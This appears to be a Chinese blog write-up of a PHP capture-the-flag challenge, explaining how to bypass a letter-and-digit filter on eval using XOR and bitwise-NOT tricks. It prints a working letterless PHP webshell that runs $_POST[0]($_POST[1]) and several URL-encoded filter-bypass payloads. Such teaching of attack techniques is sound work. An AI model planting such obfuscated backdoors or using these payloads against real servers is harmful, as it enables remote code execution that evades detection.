记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)

简介: 记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)

0x01 前言

最近在做代码审计的工作中遇到了一个难题,题目描述如下:


<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

这一串代码描述是这样子,我们要绕过A-Za-z0-9这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数名,这里我们是 "getFlag",然后动态执行之即可。

那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到getFlag函数,然后拿到webshell。


0x02 前置知识铺垫


在理解这篇文章之前,我们首先需要大家了解的是PHP中异或(^)的概念。

我们先看一下下面这段代码:


<?php
    echo "A"^"?";
?>

运行结果如下:

img_8fb94cc4b5f28d609a85a1a3b832331e.png

我们可以看到,输出的结果是字符"~"。之所以会得到这样的结果,是因为代码中对字符"A"和字符"?"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。

比如像上面这个例子


A的ASCII值是65,对应的二进制值是01000001


?的ASCII值是63,对应的二进制值是00111111


异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~了

我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

<?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

代码执行结果如下:


img_7767eda7f5d163a34ab7d0055d3a81cf.png



我们一起来分析一下上面这段代码:

  1. `$_++; `这行代码的意思是对变量名为`"_"`的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
  2. `$__="?" ^ "}"; `对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量
  3. `$ __ (); `通过上面的赋值操作,变量`$__`的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。在PHP中,我们可以将字符串当作函数来处理。

看到这里,相信大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。

我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。

下面是个非常简单的非数字字母的PHP后门:


<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

在这里我说明下,.=是字符串的连接,具体参看php语法

我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下:

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");


0x03 问题分析

对于文章开始遇到的那道难题,最开始我们的想法是通过构造异或来去绕过那串字符,但由于最后构造的字串远远超过了长度len=40,然后我们最后放弃了~~

我们该如何构造这个字串使得长度小于40呢?

我们最终是要读取到那个getFlag函数,我们需要构造一个_GET来去读取这个函数,我们最终构造了如下字符串:

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

可能很多小伙伴看完前置知识后仍然无法理解这段字符串是如何构造的吧,我们就对这段字符串进行段分析

①构造_GET读取

首先我们得知道_GET由什么异或而来的,经过我的尝试与分析,我得出了下面的结论:

<?php
    echo "`{{{"^"?<>/";//_GET
?>

这段代码一大坨是啥意思呢?因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。

这里可以使用php中可以执行命令的反引号` ` 和Linux下面的通配符?

  • ? 代表匹配一个字符
  • ` 表示执行命令
  • " 对特殊字符串进行解析

由于?只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看

<?php
    echo "{"^"<";
?>


输出结果为:

img_3728fd0bb70474fd433b3950c334de59.png

<?php
    echo "{"^">";
?>

输出结果为:


img_351ab007cb4f90e0916d019c25b1a8d1.png


<?php
    echo "{"^"/";
?>


输出结果为:

img_cb0a9afefa273eaf6e542b6cc6872aad.png


所以_GET就是这么被构造出来的

②获取_GET参数

如何获取呢?咱们可以构造出如下字串:


<?php
    echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__])
?>

根据前面构造的来看,$_已经变成了_GET。

顺理成章的来讲,$_ = _GET这个字符串。

我们构建$_GET[ __ ]是为了要获取参数值

③传入参数

此时我们只需要去调用getFlag函数获取webshell就好了,构造如下:

<?php
    echo $_=getFlag;//getFlag
?>


所以把参数全部连接起来,就可以了~~

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

结果如下:

img_e010d04481c531eae0235061a0ce2c77.png

我们就成功读取到了flag~~

补充

我似乎看到了一些大佬对这题的骚操作,我也补充一下吧~~

有个payloads是这样子:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();


这个是把getFlag取反然后URL编码

然后我们看看下一个payloads:

?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

~ 在 {} 中执行了取反操作,所以${~"\xa0\xb8\xba\xab"} 取反相当于$_GET,拼接出了$_GET['+']();,传入 +=getFlag() 从而执行了函数

再看看下面这种骚操作:

code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();


$啊=getFlag;$啊();,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。

下面这个是梅子酒师傅在评论区提供的一个payloads,我也补上:


img_ccacfecc5c8643c98844f59aeacf3c2c.png

目录
相关文章
|
PHP
PHP字符串学习之怎么去除其他字符,只留下数字
在之前的文章《PHP字符串学习之将字符串分成更小长度的子串》中,我们介绍了分割字符串,将字符串分成更小子串的方法。这次继续PHP字符串的学习与练习,看看如何提取字符串中的数字字符,有需要的可以参考参考~ 本文的主题是:“提取字符串中的数字字符”。例如我们给出下面一个字符串 $str ='0我是123456一段测试的字789符串0'; 如何去除其他字符,只返回由字符串中数字字符组成的子串“01234567890”?下面给大家介绍两种方法:
278 0
|
安全 Shell PHP
详解PHP代码执行漏洞--无字母shell
代码执行漏洞无字母shell讲解
211 0
详解PHP代码执行漏洞--无字母shell
|
PHP
php实现数字格式化,数字每三位加逗号的功能函数169856420=&gt;169,856,420
php实现数字格式化,数字每三位加逗号的功能函数169856420=&gt;169,856,420
221 0
|
PHP
php自动将数字字符串转换为int / float
php自动将数字字符串转换为int / float
93 0
PHP: number_format()格式化数字保留指定小数
PHP: number_format()格式化数字保留指定小数
123 0
|
PHP
php导出excel,使用table,如何让首位是0的纯数字字符串保留首位的0
php导出excel,使用table,如何让首位是0的纯数字字符串保留首位的0
298 0
php导出excel,使用table,如何让首位是0的纯数字字符串保留首位的0
PHP正则匹配字符串只能包含数字、字符串、下划线
//列子 $string = ' abc_123@c c!'; //去除字符串所有空格(结果为'abc_123@cc!') $string = preg_replace('# #','',$string); //验证字符串是否只包含数字和字母以及下划线 $res = preg_match("/^[a-zA-Z0-9_]+$/",$string); //如果不符合正则表达式规则,则抛出异常 if (!$res){ //自定义异常类 throw new OperationException([ 'errorCode'=>999,
|
PHP
PHP面试题:对于用户输入一串字符串$string,要求$string中只能包含大于0的数字和英文逗号,请用正则 表达式验证,对于不符合要求的$string返回出错信息
PHP面试题:对于用户输入一串字符串$string,要求$string中只能包含大于0的数字和英文逗号,请用正则 表达式验证,对于不符合要求的$string返回出错信息
153 0
|
存储 安全 关系型数据库
网站安全渗透测试公司对php代码后门分析
很多想做渗透测试的朋友都想了解关于PHP后门漏洞的安全测试重点方法,以及该如何预防被中php后门,本节由我们的安全高级渗透工程师进行全面的讲解,来让大家更好的理解和了解php代码的安全检测,让网站得到最大化的安全保障,安全保障了,网站才能更长远的运行下去。
1333 0
在php中调用接口以及编写接口
在php中调用接口以及编写接口如:http://localhost/openUser.php?act=get_user_list&type=json 在这里openUser.php相当于一个接口,其中get_user_list 是一个API(获取用户列表),讲求返回的数据类型为JSON格式。
1369 0